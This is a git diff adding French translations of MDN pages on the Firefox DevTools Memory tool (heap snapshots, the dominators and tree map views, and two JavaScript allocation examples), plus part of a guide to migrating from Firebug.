La vue par défaut est une vue "top-down" : elle affiche les allocations qui arrivent à un point ou en des points plus loin dans l'arbre. C'est pratique pour avoir une vue d'ensemble des endroits ou le programme consomme beaucoup de mémoire. Cependant cette vue implique de devoir parcourir un long chemin pour trouver l'emplacement exact d'où les allocations sont faites.

+ +

L'option "Inverser l'arbre" aide à résoudre ce problème. Cela donne en effet une vue "bottom-up" du programme, affichant les endroits exacts d'où les allocations proviennent, ordonnés par taille d'allocation. L'icône en forme de triangle fait alors un retour au premier niveau de l'arbre.

+ +

Voici à quoi ressemble l'arbre après avoir coché l'option "Inverser l'arbre" :

+ +

+ +

Maintenant, la première ligne affiche directement l'appel createToolbarButton() qui correspond à l'allocation de 89% de la heap de la page.

+ +

(no stack available)

+ +

Dans l'exemple ci-dessus, il y a une ligne nommée "(no stack available)" qui correspond à 7% de la heap. La présence de cette ligne s'explique par le fait que toute l'utilisation de la heap n'est pas due au script JavaScript.

+ +

Exemples d'usage de la heap non alloué par un script :

+ +
    +
  • Tous les scripts que la page charge occupent de l'espace dans la heap
    • +
  • Quelques fois, un objet est alloué lorsqu'il n'y a pas de JavaScript sur la stack. Par exemple, les objets DOM {{domxref("Event")}} sont alloués avant que le JavaScript ne soit exécuté et avant que les évènements ne soient appelés.
    • +
+ +

Bon nombre de pages web auront une part de "(no stack available)" bien supérieure à 7%.

diff --git a/files/fr/tools/memory/basic_operations/index.html b/files/fr/tools/memory/basic_operations/index.html new file mode 100644 index 0000000000..e132baed90 --- /dev/null +++ b/files/fr/tools/memory/basic_operations/index.html @@ -0,0 +1,64 @@ +--- +title: Opérations de base +slug: Outils/Memory/Basic_operations +translation_of: Tools/Memory/Basic_operations +--- +
{{ToolsSidebar}}

Ouvrir l'outil Mémoire

+ +

L'outil Mémoire n'est pas activé par défaut. Pour l'activer, il faut ouvrir et cocher la case "Mémoire" dans la catégorie "Outils de développement pas défaut" :

+ +

{{EmbedYouTube("qi-0CoCOXwc")}}

+ +

Depuis Firefox 50, l'outil mémoire est activé par défaut.

+ +

Capturer un instantané

+ +

Pour capturer un instantané de la heap il faut cliquer sur le bouton "Capturer un instantané" ou sur l'icône en forme d'appareil photo, en haut à gauche :

+ +

+ +

L'instantané, occupera une large partie du panneau de droite. Sur la gauche, il y aura une liste des instantanés capturée. Ce panneau inclut le timestamp, la taille et les actions supprimer/enregistrer :

+ +

+ +

Supprimer un instantané

+ +

Pour supprimer un instantané, il suffit de cliquer sur l'icône "X" :

+ +

+ +

Sauvegarder et charger des instantanés

+ +

Fermer l'outil, supprimera tous les instantanés non sauvegardés. Pour sauvegarder un instantané, il suffit de cliquer sur "Enregistrer" :

+ +

+ +

Il vous sera ensuite demandé un nom et un emplacement. Le fichier sera alors enregistré avec une extension .fxsnapshot

+ +

Pour charger un instantané depuis un fichier .fxsnapshot, il faut de cliquer sur le bouton en forme de rectangle avec un flèche pointée vers le haut (avant Firefox le bouton avait le texte "Importer") :

+ +

+ +

Il suffit ensuite de sélectionner un instantané précédemment enregistré sur votre disque.

+ +

Comparer des instantanés

+ +

À partir de Firefox 45, il est possible de comparer deux instantanés. Le diff affiche les endroits ou de la mémoire a été allouée, et où de la mémoire a été libéré entre les deux instantanés.

+ +

Pour créer une diff, il faut cliquer sur l'icône en forme de diagramme de Venn en haut à gauche (note: avant Firefox 47, l'icône ressemblait à un "+/-") :

+ +

+ +

Il faut ensuite sélectionner l'instantané qui sert de base de comparaison puis l'instantané à comparer. L'outil affiche alors les différences entre les deux instantanés :

+ +

{{EmbedYouTube("3Ow-mdK6b2M")}}

+ +
+

Lors d'une comparaison, il n'est pas possible d'utiliser la vue "Dominants" ou "Carte proportionnelle"

+
+ +

Enregistrer les piles d'allocations

+ +

L'outil Mémoire permet de savoir exactement où dans le code la mémoire est allouée. Cependant, enregistrer ces informations a un cout en performance. Il faut donc activer manuellement l'enregistrement avant de faire les allocations mémoires. Pour cela, il suffit de cocher la case "Enregistrer les pilles d'allocations" :

+ +

diff --git a/files/fr/tools/memory/dom_allocation_example/index.html b/files/fr/tools/memory/dom_allocation_example/index.html new file mode 100644 index 0000000000..0f3a4b04d6 --- /dev/null +++ b/files/fr/tools/memory/dom_allocation_example/index.html @@ -0,0 +1,54 @@ +--- +title: Exemple d'allocation DOM +slug: Outils/Memory/DOM_allocation_example +translation_of: Tools/Memory/DOM_allocation_example +--- +
{{ToolsSidebar}}

Cet article décrit une page web très simple qui sera utilisée pour illustrer certaines fonctionnalités de l'outil Mémoire.

+ +

Il est possible de visiter le site à l'adresse : https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html.

+ +

Cette page contient simplement un script qui crée un grand nombre de noeuds DOM :

+ +
var toolbarButtonCount = 20;
+var toolbarCount = 200;
+
+function getRandomInt(min, max) {
+    return Math.floor(Math.random() * (max - min + 1)) + min;
+}
+
+function createToolbarButton() {
+  var toolbarButton = document.createElement("span");
+  toolbarButton.classList.add("toolbarbutton");
+  // empêche Spidermonkey de partager les instances
+  toolbarButton[getRandomInt(0,5000)] = "foo";
+  return toolbarButton;
+}
+
+function createToolbar() {
+  var toolbar = document.createElement("div");
+  // empêche Spidermonkey de partager les instances
+  toolbar[getRandomInt(0,5000)] = "foo";
+  for (var i = 0; i < toolbarButtonCount; i++) {
+    var toolbarButton = createToolbarButton();
+    toolbar.appendChild(toolbarButton);
+  }
+  return toolbar;
+}
+
+function createToolbars() {
+  var container = document.getElementById("container");
+  for (var i = 0; i < toolbarCount; i++) {
+    var toolbar = createToolbar();
+    container.appendChild(toolbar);
+  }
+}
+
+createToolbars();
+ +

Voici une représentation en pseudo-code de ce que fait ce code :

+ +
createToolbars()
+    -> createToolbar() // appelé 200 fois. Crée un élément DIV à chaque fois
+       -> createToolbarButton() // appelé 20 fois par toolbar, crée un élément SPAN à chaque fois
+ +

Ainsi, au total ce code crée 200 objets HTMLDivElement, et 4000 objets HTMLSpanElement.

diff --git a/files/fr/tools/memory/dominators/index.html b/files/fr/tools/memory/dominators/index.html new file mode 100644 index 0000000000..30dee2db22 --- /dev/null +++ b/files/fr/tools/memory/dominators/index.html @@ -0,0 +1,62 @@ +--- +title: Dominants +slug: Outils/Memory/Dominators +translation_of: Tools/Memory/Dominators +--- +
{{ToolsSidebar}}
+ +
+

Cet article fournit une introduction aux concepts d'Accessibilité, de taille Objet et de taille Retenue, ainsi que des Dominants, et de comment ses concepts s'appliquent dans des langages à ramasse-miette (garbage-collector) comme le JavaScript.

+ +

Ces concepts sont importants pour l'analyse mémoire, car souvent, un objet peut être en lui même petit, mais contenir des références à des objets beaucoup plus gros et cela empêche le ramasse-miette de collecter ces objets et de libérer de la mémoire.

+ +

Il est possible de voir les dominants d'une page en utilisant la Vue "Dominants"  dans l'outil Mémoire.

+
+ +

Dans un langage comme JavaScript, les programmeurs n'ont généralement pas à se soucier de la gestion de la mémoire. Ils peuvent simplement créer des objets, les utiliser, et lorsque ceux-ci ne sont plus nécessaires, le runtime se charge de faire le nettoyage, et libère la mémoire que les objets utilisaient.

+ +

Accessibilité

+ +

Dans les implémentations modernes de JavaScript, le runtime décide de quand un objet n'est plus nécessaire en se basant sur l'accessibilité. Dans ce système, la heap est représentée par un ou plusieurs graphes. Chaque noeud dans le graphe représente un objet, et chaque connexion entre les noeuds (edge) représente une référence d'un objet à un autre. Le graphe commence au noeud racine, indiqué dans les diagrammes suivant par un "R" :

+ +

+ +

Lors du passage du ramasse-miette, le runtime parcourt le graphe à partir de la racine et marque chaque objet qu'il trouve. Tous les objets qui ne sont pas trouvés dans ce parcours, ne sont pas accessibles et peuvent être désalloués.

+ +

Donc lorsqu'un objet devient inaccessible (par exemple parce qu'il était référencé par une seule variable locale qui sort du scope actuel) alors tout objet qu'il référence devient également inaccessible à son tour (sauf s’il était référencé par d'autres objets qui sont eux toujours accessibles) :

+ +

+ +

A l'inverse, cela veut dire que des objets sont gardés en vie tant qu'un autre objet accessible comporte une référence à cet objet.

+ +

Taille de l'objet et taille retenue

+ +

Tout cela donne naissance à deux façons différentes de considérer la taille d'un objet :

+ +
    +
  • taille de l'objet: la taille de l'objet lui-même
    • +
  • taille retenue : la taille de l'objet lui-même ainsi que la raille de tous les objets qui sont gardés en vie grâce à cet objet.
    • +
+ +

Souvent, les objets auront une taille d'objet faible, mais une bien plus grande taille retenue, à cause de ses références à d'autres objets. La taille retenue est un concept important dans l'analyse de l'utilisation mémoire, car cela répond à la question "si cet objet cesse d'exister, quelle est la taille de mémoire libérée ?".

+ +

Dominants

+ +

Un concept lié à cela est le concept de dominants. Un noeud B "domine" le noeud A si tous les chemins depuis la racine jusqu'à A passent par B :

+ +

+ +

Si un des noeuds dominants du noeud A est libéré, alors le noeud A lui-même devient éligible au ramasse-miette.

+ +

Si le noeud B domine le noeud A mais ne domine aucun des dominants de A, alors B est le dominant immédiat de A :

+ +

+ +

Une subtilité ici est que si un objet A est référencé par deux autres objets B et C, alors aucun de ces deux objets n'est un dominant de A, car il est possible de retirer soit B soit C du graphe et A serait alors toujours référencé par son autre référent. À la place, le dominant immédiat de A est le premier ancêtre commun :
+

+ +

Voir Aussi

+ +

Les dominants dans la théorie des graphes.

+ +

Tracing garbage collection.

diff --git a/files/fr/tools/memory/dominators_view/index.html b/files/fr/tools/memory/dominators_view/index.html new file mode 100644 index 0000000000..bfa472bded --- /dev/null +++ b/files/fr/tools/memory/dominators_view/index.html @@ -0,0 +1,156 @@ +--- +title: Vue "Dominants" +slug: Outils/Memory/Dominators_view +translation_of: Tools/Memory/Dominators_view +--- +
{{ToolsSidebar}}
+

La vue "Dominants" est une des nouveautés de Firefox 46.

+
+ +

À partir de Firefox 46, l'outil Mémoire inclut une nouvelle vue nommée "Dominants". Celle-ci est utile pour comprendre la "Taille retenue" des objets d'un site : il s'agit de la taille des objets eux-mêmes ainsi que la taille des objets qu'ils gardent en vie par référence.

+ +

Si vous n'êtes pas familier avec la "taille de l'objet", la "taille retenue" et les Dominants, il est recommandé de lire l'article sur les concepts des Dominants.

+ +

Interface utilisateur des Dominants

+ +

Pour afficher la vue des Dominants, il faut sélectionner "Dominants" dans le menu déroulant "Afficher" :

+ +

+ +

Cette vue est constituée de deux panneaux:

+ +
    +
  • Le panneau de l'arbre des Dominants qui affiche quel sont les noeuds de la capture qui retiennent le plus de mémoire.
    • +
  • Le panneau des Chemins de rétention (depuis Firefox 47) affiche les 5 plus courts chemins de rétention pour un noeud.
    • +
+ +

+ +

Arbre des Dominants

+ +

Ce panneau affiche les objets de la capture qui retiennent le plus de mémoire.

+ +

Dans la partie principale de l'UI, la première ligne est nommée "Racines GC". En dessous de cette ligne, il y a une ligne pour :

+ +
    +
  • Chaque noeud racine GC. Dans Gecko, il y a plusieurs graph mémoire, et donc plusieurs racines. Il peut y avoir beaucoup de racines (souvent temporaires). Par exemple, les variables allouées sur la stack ont besoin d'être enracinées, les caches internes peuvent eux aussi avoir besoin d'enraciner leurs éléments.
    • +
  • Chaque autre noeud qui est référencé depuis deux racines différentes (vu que dans ce cas, aucune des deux racines ne le domine).
    • +
+ +

Pour chacune de ces lignes, seront affichés :

+ +
    +
  • La taille retenue du noeud, en octets et en pourcentage total.
    • +
  • La taille de l'objet du noeud en octets et en pourcentage total.
    • +
  • Le nom du noeud et son adresse mémoire.
    • +
+ +

Les lignes sont classées par la taille de mémoire retenue. Par exemple :

+ +

+ +

Dans cette capture d'écran, il est possible de voir qu'il y a cinq linges en dessus de "GC roots". Les deux premiers objets sont "Call" et "Window", et retiennent respectivement 21% et 8% de la mémoire totale de la capture. Il est également possible de voir qu'ils ont une taille (shallow) réduite, donc quasiment toute la mémoire retenue vient d'objets qu'ils dominent.

+ +

Juste en dessous de chaque racine GC, tout les noeuds pour lequel cette racine est le dominant immédiat sont affichés et triés par taille retenue.

+ +

Par exemple, cliquer sur le premier objet "Window" affichera ceci :

+ +

+ +

Il est possible de voir que "Window" domine un objet "CSS2Properties", dont la taille retenue est de 2ù de la capture. Encore une fois, la taille de l'objet est faible, quasiment toute sa taille retenue est due aux objets dominés. En cliquant sur l'icone en fore de triangle à coté de la fonction, il est possible de voir ces noeuds.

+ +

Il est ainsi possible de se faire rapidement une idée de quels objets retiennent le plus de mémoire dans la capture.

+ +

Il est possible d'utiliser Alt + clic pour étendre le graph entier d'un noeud.

+ +

Pile d'allocations

+ +

Dans la barre d'outils, il y a une liste déroulante : "Nommer selon" :

+ +

+ +

Par défaut, l'option sélectionnée est "Type". Il est possible de choisir "Call Stack" à la place pour savoir exactement d'ou dans le code les objets sont alloués.

+ +
+

Cette option est appelée "Allocation Stack" dans Firefox 46.

+
+ +

Pour l'activer, il faut cocher la case "Enregistrer les piles d'allocations" avant de lancer le coder qui alloue les objets. Il faut ensuite prendre une capture, puis sélectionner "Call Stack" dans le menu déroulant "Nommer selon".

+ +

Maintenant, le nom du noeud contient le nom de la fonction qui l'a alloué, ainsi que le fichier, la ligne et la position exacte d'ou dans la fonction l'allocation a été faite. Cliquer sur le nom du fichier ouvrira cette position dans le Débogueur.

+ +

{{EmbedYouTube("qTF5wCSD124")}}

+ +
+

Parfois, une ligne nommée "(no stack available)" est présente. Les piles d'allocations ne sont actuellement enregistrées que pour les objets, pas pour les tableaux, les strings ou les structures internes.

+
+ +

Chemins de rétention

+ +
Ce panneau est une des nouveautés de Firefox 47.
+ +

Ce panneau affiche, pour un noeud sélectionné les 5 plus courts chemins depuis ce noeud jusqu'a une racine GC. Cela permet de voir tous les noeuds qui empêchent ce noeud d'être détruit par le garbage collector (ramasse-miette en bon français). Si un objet est soupçonné de cause une fuite mémoire, ce panneau affichera les objets qui réfrènent l'objet soupçonné.

+ +

Pour voir le chemin de rétention, il suffit de sélectionner un noeud dans le panneau de l'arbre des Dominants :

+ +

+ +

Ici, un objet a été sélectionné et l'on peut voir un unique chemin jusqu'a la racine GC.

+ +

La racine GC Window contient une référence à un objet HTMLDivElement. Cet objet contient lui une référence à un Object, et ainsi de suite. Il est possible de retracer le chemin juste en regardant le panneau de l'arbre des Dominants. Si une seule de ces références venait à être supprimée, les objets en dessous seraient détruits par le garbage collector.

+ +

Chaque connexion dans le graph est annoté avec le nom de la variable qui référence l'objet.

+ +

Parfois, il y a plus d'un seul chemin de rétention :

+ +

+ +

Ici, il y a deux chemins depuis le noeud DocumentPrototype vers la racine GC. Si seulement l'un des des deux venait à être supprimé, le noeud ne serait pas détruit par le garbage collector, puisqu'il serait toujours retenu par l'autre chemin.

+ +

Exemple

+ +

Pour tester l'outil, il est plus simple d'utiliser un exemple

+ +


+ Nous utiliserons l'exemple d'allocation de monstres. Cet exemple crée trois tableaux chacun contenant 5000 monstres, chaque monstre possède un nom généré aléatoirement.
+  

+ +

Prendre une capture

+ +

Pour voir à quoi cela ressemble avec la vue "Dominants", il faut :

+ +
    +
  • Charger la page
    • +
  • Activer l'outil Mémoire dans les Options, s’il n'est pas encore activé.
    • +
  • Ouvir l'outil Mémoire
    • +
  • Cocher la case " Enregistrer les piles d'allocations"
    • +
  • Appuyer sur le bouton "Make monsters!"
    • +
  • Prendre une capture
    • +
  • Passer à la vue "Dominants"
    • +
+ +

{{EmbedYouTube("HiWnfMoMs2c")}}

+ +

Analyse de l'arbre des dominants

+ +

Les trois tableaux seront les trois premières racines GC, chacun retenant à peu près 23% de la mémoire totale de la capture :

+ +

+ +

Étendre un tableau affichera les objets (monstres) qu'il contient. Chaque monstre à une taille réduite de 160 octets. Cette taille inclut les variables int "eye" et "tentacle-count". Chaque monstre à une taille retenue plus grande, car ils retiennent la string utilisée pour stocker le nom du monstre :

+ +

+ +

Tout cela se rapproche précisément du graph mémoire attendu. Une chose curieuse cependant, où est passé l'objet qui contient ces trois tableaux ? En regardant le chemin de rétention pour un des tableaux, il est possible de le voir :

+ +

+ +

Ici, il est possible de voir l'objet retenant le tableau; et même qu'il s'agit du tableau de monstres friendly. Dans la capture d'écran ci-dessus, ce n'est pas visible, cependant ce tableau est aussi enraciné directement à la racine GC. Donc si l'objet arrête de référencer le tableau, celui-ci ne serait toujours pas éligible au garbage collector.

+ +

Cela veut dire que l'objet ne domine pas le tableau et donc n'est pas affiché dans l'arbre des Dominants. À voir également,  l'article sur le concept des Dominants.

+ +

Utiliser la vue Call Stack

+ +

Enfin, il est possible de passer à la vue "Call Stack", afin de voir quels objets sont alloués et de se rendre à ce point dans le Débogueur :

+ +

{{EmbedYouTube("qTF5wCSD124")}}

diff --git a/files/fr/tools/memory/index.html b/files/fr/tools/memory/index.html new file mode 100644 index 0000000000..017e5b69c5 --- /dev/null +++ b/files/fr/tools/memory/index.html @@ -0,0 +1,68 @@ +--- +title: Mémoire +slug: Outils/Memory +tags: + - DevTools + - Firefox + - Mozilla + - Tools + - outils de développement +translation_of: Tools/Memory +--- +
{{ToolsSidebar}}

L'outil Mémoire permet de prendre une capture de l'état actuel de la heap de la mémoire. Il fournit plusieurs manières de visualiser la heap. Cela permet de voir la taille mémoire que prennent les objets et les endroits exacts du code d'où la mémoire est allouée.

+ +

{{EmbedYouTube("DJLoq5E5ww0")}}

+ +
+

La base

+ +
+ +
+ +
+

Analyser les captures

+ +
+

La vue "carte proportionnelle" est une nouveauté de Firefox 48, la vue "Dominants" est une nouveauté de Firefox 46.

+
+ +

Une fois qu'une capture est prise, il y a deux vues principales que l'outil fournit :

+ + + +

Si l'option "Enregistrer les piles d'allocations" est cochée, les deux vues affichent d'où exactement dans le code les allocations sont originaires.

+ +

Enfin, il est possible de comparer deux captures, et d'analyser le résultat de la différence.

+ +
+

Concepts

+ +
+ +
+ +
+

Pages d'exemples

+ +

Exemples utilisés dans la documentation de l'outil Mémoire :

+ +
+ +
diff --git a/files/fr/tools/memory/monster_example/index.html b/files/fr/tools/memory/monster_example/index.html new file mode 100644 index 0000000000..48357b8d8b --- /dev/null +++ b/files/fr/tools/memory/monster_example/index.html @@ -0,0 +1,81 @@ +--- +title: Exemple d'allocation de monstres +slug: Outils/Memory/Monster_example +translation_of: Tools/Memory/Monster_example +--- +
{{ToolsSidebar}}

Cet article décrit une page web très simple que nous utilisons pour illustrer certaines fonctionnalités de l'outil Mémoire.

+ +

Il est possible de l'essayer sur le site : https://mdn.github.io/performance-scenarios/js-allocs/alloc.html. Voici le code :

+ +
var MONSTER_COUNT = 5000;
+var MIN_NAME_LENGTH = 2;
+var MAX_NAME_LENGTH = 48;
+
+function Monster() {
+
+  function randomInt(min, max) {
+      return Math.floor(Math.random() * (max - min + 1)) + min;
+    }
+
+  function randomName() {
+    var chars = "abcdefghijklmnopqrstuvwxyz";
+    var nameLength = randomInt(MIN_NAME_LENGTH, MAX_NAME_LENGTH);
+    var name = "";
+    for (var j = 0; j &lt; nameLength; j++) {
+      name += chars[randomInt(0, chars.length-1)];
+    }
+    return name;
+  }
+
+  this.name = randomName();
+  this.eyeCount = randomInt(0, 25);
+  this.tentacleCount = randomInt(0, 250);
+}
+
+function makeMonsters() {
+  var monsters = {
+    "friendly": [],
+    "fierce": [],
+    "undecided": []
+  };
+
+  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
+    monsters.friendly.push(new Monster());
+  }
+
+  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
+    monsters.fierce.push(new Monster());
+  }
+
+  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
+    monsters.undecided.push(new Monster());
+  }
+
+  console.log(monsters);
+}
+
+var makeMonstersButton = document.getElementById("make-monsters");
+makeMonstersButton.addEventListener("click", makeMonsters);
+ +

Cette page contient un bouton : Lorsque celui-ci est activé, le code crée des monstres plus précisément :

+ +
    +
  • Le code crée un objet avec trois propriétés, chacune étant un tableau : +
      +
    • Un pour les monstres "méchants" (fierce).
      • +
    • Un pour les monstres "gentils" (friendly).
      • +
    • UIn pour les monstres qui n'ont pas encore décidé (undecided).
      • +
    +
    • +
  • Pour chaque tableau, le code crée 5000 monstres générés aléatoirement. Chaque monstre a : +
      +
    • Une chaine de caractères, pour le nom du monstre.
      • +
    • Un nombre représentant le nombre d'yeux qu'il possède.
      • +
    • Un nombre représentant le nombre de tentacules qu'il possède.
      • +
    +
    • +
+ +

Ainsi, la structure de la mémoire allouée sur la heap JavaScript est un objet contenant trois tableaux contenant chacun 5000 objets (les monstres) chaque objet contient une string et deux int :

+ +

diff --git a/files/fr/tools/memory/tree_map_view/index.html b/files/fr/tools/memory/tree_map_view/index.html new file mode 100644 index 0000000000..a009e59a7a --- /dev/null +++ b/files/fr/tools/memory/tree_map_view/index.html @@ -0,0 +1,45 @@ +--- +title: Vue carte proportionnelle +slug: Outils/Memory/Tree_map_view +translation_of: Tools/Memory/Tree_map_view +--- +
{{ToolsSidebar}}
+

Cette vue est une des nouveautés de Firefox 48.

+
+ +

La vue carte proportionnelle fournit une représentation visuelle d'une capture instantané de la mémoire. Cela aide à avoir rapidement une idée de quels objets occupent le plus de mémoire.

+ +

Une carte affiche :  "Une représentation de données hiérarchiques dans un espace limité" sous la forme de rectangles imbriqués. La taille de ces rectangles correspond à un aspect quantitatif des données (plus c'est gros, plus le rectangle l'est).

+ +

Pour les cartes affichées dans l'outil Mémoire, la heap (le tas) est divisé en quatre grandes catégories :

+ +
    +
  • objects: Les objets JavaScript et DOM, tels que Function, Object, ou Array, et les types DOM tels que Window et HTMLDivElement.
    • +
  • scripts: Les sources JavaScript chargés par la page.
    • +
  • strings
    • +
  • other: Cela inclut les objets internes de SpiderMonkey.
    • +
+ +

Chaque catégorie, est représentée dans un rectangle, et la taille de ce rectangle correspond à la portion de la heap occupée par les éléments de cette catégorie. Cela signifie qu'il est facile d'avoir rapidement une idée de ce qui prend le plus de place mémoire.

+ +

A l’intérieur des grandes catégories :

+ +
    +
  • objects est ensuite divisé par type d'objet.
    • +
  • scripts est ensuite divisé par origine de script. Cela inclut un rectangle séparé pour le code qui n'a put être associé à une origine, tel que le code optimisé pour le JIT.
    • +
  • other est ensuite divisé selon le type d'objet.
    • +
+ +

Voici quelques captures d'exemple, tel qu'elles apparaissent dans la vue carte proportionnelle :

+ +

+ +

Cette carte provient de l'exemple d'allocation DOM, qui crée simplement un grand nombre de nœuds DOM. (200 objets HTMLDivElement et 4000 objets HTMLSpanElement). Il est possible de voir que quasiment tout l'espace occupé dans la heap l'est par les objets HTMLSpanElement crées.

+ +

+ +

Cette carte vient de l'exemple allocation de monstres, qui représente trois tableaux contenant chacun 5000 monstres. Chaque monstre possède un nom aléatoire. Il est possible de voir que la heap est occupée principalement par les strings utilisés pour le nom des monstres, ainsi que par les objets utilisé pour contenir les autres attributs des monstres.

+ +

+ +

Cette carte provient de http://www.bbc.com/, et est probablement plus représentative de la vie réelle que les exemples. Il est possible de voir qu'une partie beaucoup plus importante de la heap est occupée par les scripts qui sont chargés depuis un grand nombre d'origines.

diff --git a/files/fr/tools/migrating_from_firebug/index.html b/files/fr/tools/migrating_from_firebug/index.html new file mode 100644 index 0000000000..5191e43e8e --- /dev/null +++ b/files/fr/tools/migrating_from_firebug/index.html @@ -0,0 +1,270 @@ +--- +title: Migrating from Firebug +slug: Outils/Migrating_from_Firebug +translation_of: Tools/Migrating_from_Firebug +--- +
{{ToolsSidebar}}
+ +

Pendant la migration de Firebug vers les outils de développement de Firefox, vous vous demanderez certainement ou sont vos fonctionnalités adorés. Et bien, cette liste est faite pour vous.

+ +
+
+
 
+ +
+

+ +

Pour avoir la dernière version des outils de développement, il y a : Firefox Developer Edition

+ +

Télécharger Firefox Developer Edition

+
+ +
 
+
+ +
+

Général

+ +

Activation

+ +

L'activation de Firebug est basé sur des URL respectant la "same origin policy". Cela signifie que si vous ouvrez  une page de la même origine dans un onglet  différent, Firefbug s'ouvre automatiquement. Et lorsque une page d'une origine différente dans le même onglet, il se ferme automatiquement. L'activation des devtools sont eux basé sur les onglets. Par exemple, si vous ouvrez les devtools dans onglet, ils restent ouvert même si vous naviguez vers d'autres sites. Lorsque vous ouvrez un nouvel onglet, les devtools se ferment.

+ +

Ouvrir les outils

+ +

Firebug peut être ouvert avec F12. Pour l'ouvrir pour inspecter un élément il est possible d'utiliser le raccourci clavier  Ctrl+Maj+C / Cmd+Opt+C. Les DevTools partagent les mêmes raccourcis, mais fournissent également des raccourcis pour les différent panneaux. Le Moniteur Réseau peut être ouvert avec  Ctrl+Maj+Q / Cmd+Opt+Q, la Console via Ctrl+Maj+K / Cmd+Opt+K et le Déboguer avec Ctrl+Maj+S / Cmd+Opt+S.

+ +

Console

+ +

La Console est l'équivalent du panneau Console de Firebug. Elle affiche les log associé à une page web et permet d'exécuter des expressions JavaScript via sa ligne de commande. L'affichage est différent. Le {{bug(1269730)}} changera peut être cela.

+ +

Filtrer les log

+ +

Firebug offre deux façons de filtrer les messages de log, via le menu des options et via les boutons des filtres dans la barre d'outils. La Console des devtools offre une fonctionnalité similaire via les buttons de filtre dans sa barre d'outils — le tout centralisé à un seul endroit.

+ +

API de ligne de commande

+ +

L'API de ligne de commande dans Firebug fournit des fonction spéciales pour votre confort. La ligne de commande des outils de développement, à quelques fonctions en commun, mais possède également des fonction supplémentaires et n'a pas certaines fonction de Firefbug.

+ +

API de la Console

+ +

Pour loguer des choses dans la consoles depuis une page web, Firebug rend disponible une API Console dans la page. Les outils de développement partagent la même API, donc vos expressions "console.* continueront de fonctionner.

+ +

Logs persistants

+ +

Dans Firebug, il est possible de cliquer sur bouton "Persist" dans la barre d'outils pour garder les messages de log entre différent navigations de pages et entre les rechargements. Dans les outils de développemnt, cette option est appelée Activer les journaux persistants et est disponible dans les options de la boîte à outils.

+ +

Logs de serveur

+ +

Les extension Firebug tels que FirePHP permettent d'afficher des messages du serveur dans la console Firefbug. Cette fonctionnalité est déja intégrée dans les outils de développement en utilisant le protocole ChromeLogger et ne nécessite pas d'autres extensions pour être installé.

+ +

Historique de commande

+ +

L'historique de commande disponible grâce à un bouton dans la ligne de commande de Firebug est disponible en utilisant les touches ↑/↓ dans la ligne de commande de la Console

+ +

Inspecter les propriétés des objets

+ +

En cliquant sur objet logué dans la console, il est possible d'inspecter les propriétés de l'objet grâce au panneau DOM. Dans les outils de développement de Firefox, il est aussi possible d'inspecter les objets. La différence est qu'ils montrent les propriétés et les méthodes dans un panneau annexe dans la Console.

+ +

Afficher les requêtes réseau

+ +

Le panneau Console dans Firebug permet d'afficher les requêtes {{Glossary("AJAX")}} (aka {{Glossary("XMLHttpRequest", "XMLHttpRequests")}}). Cette option est également disponible dans la Console des outils de developpement, grâce au filtre XHR. De plus, la Console permet d'afficher tous les autres types de requêtes résseau grace au filtre Requêtes.

+ +

Afficher les structures JSON et XML

+ +

Pour afficher les réponses JSON et XML des requêtes {{Glossary("AJAX")}}, Firebug a des onglets spéciaux lors de l'expension d'une requête dans son panneau Console. La Cosnsole des outils de developpement affiche ces structures directement dans l'onglet "Réponses".

+ +

Multi-line command line

+ +

La Console Firebug a une ligne de commande multi-ligne appelée Command Editor. Les outils de développment n'ont pas un panneau comme le Command Editor (ce qui a déja été demandé dans le {{bug(1133849)}}), mais possède en revanche un outil séparé nommé Ardoise JavaScript, qui peut être ajouté comme panneau dans la boite à outils ou ouvert dans une fenêtre séparée, via le menu Firefox > Développement web > Ardoise, ou avec Maj + F4. Il est également bon à savoir que la ligne de commande normale ajoutte intélligement des retour à la ligne lorsqu'elle reconait une commande incomplete, document. et ensuite appuyer sur Entrée. Il est également possible de faire un retour à la ligne manuel avec Maj + Entrée.

+ +

Prévisualisation de réponse

+ +

Il y a un onglet Preview lors de l'expensin d'une requête réseau affiché dans Firebug. La Console web affiche une prévisualisation dasn l'onget Réponse. Pour le moment, la prévisualisation pour le HTML, le XML et le SVG, est cependant manquant. Vous pouvez suivre l'historque dans le {{bug(1247392)}} et le {{bug(1262796)}}. Mais lors d'un clic sur l'URL de la requête, les outils de développement passent au Moniteur Réseau, qui lui a un onglet Preview.

+ +

Inspecteur

+ +

Firebug a un panneau HTML, qui permet d'éditer le HTML/XML/SVG et le CSS en relation. Dans les outils de développement, cette fonctionalitée est assurée par l'Inspecteur.

+ +

Editer l'HTML

+ +

Dans l'Inspecteur, les attributs des balises et leur contenu peuvent être édités, tout comme dans Firebug. Il permet en plus d'éditer également les balises elles-même.

+ +

Il est également possible d'éditer l'HTML directement. Dans Firebug, il faut faire clic-droit sur un noeud puis cliquer sur Edit HTML... dans le menu contextuel. Dans les outils de développement la même option est également dispobible dans le menu contextuel. Elle est nommée Éditer en tant qu'HTML. Seul la prévisualtisation des changements en temps réel est maquante, voir {{bug(1067318)}} et {{bug(815464)}}.

+ +

Copier l'HTML et les informations en relation

+ +

Le panneau HTML de Firebug permet de copier l'interieur ou l'exterieur d'un élément HTML, ainsi que le CSS et le XPath via le menu contextuel d'un élément. L'inspecteur fournit les même fonctionalités, sauf pour la copie des XPaths. Voir {{bug(987877)}}.

+ +

Éditer le CSS

+ +

Les deux outils permètent de voir et d'éditer les règles CSS des éléments sélectionnés dans la vue du noeud de façon similaire. Firebug possède le panneau Style pour ça, les outils de developpement eux ont le panneau Règles.

+ +

Dans Firebug il est possible d'ajouter des règles en effectuant un clic-droit puis en sélectionant Add Rule... dans le menu contextuel. Les outils de developpement eux ont une option dans le menu contextuelle nommée Ajouter une règle ainsi qu'un bouton + dans la barre d'outils de l'onglet Règles.

+ +

Pour éditer le style des élements (les propriétés CSS de l'attribut {{htmlattrxref("style")}} d'un élément), dans Firebug il faut faire un clic-droit dans l'onglet Style et sélectionner Edit Element Style... dans le menu contextuel. Les outils de développement affichent une règle element {} pour ceci. Ainsi un simple clic sur cette règle permet de commencer à éditer les propriétés.

+ +

Auto-completion du CSS

+ +

Tout comme dans Firebug, l'onglet des règles fournit de l'auto-complétion pour les propriétés CSS et leurs valeurs. Quelques propriétés ne sont pas complétés, elles sont listés dans le {{bug(1337918)}}.

+ +

Copier & coller du CSS

+ +

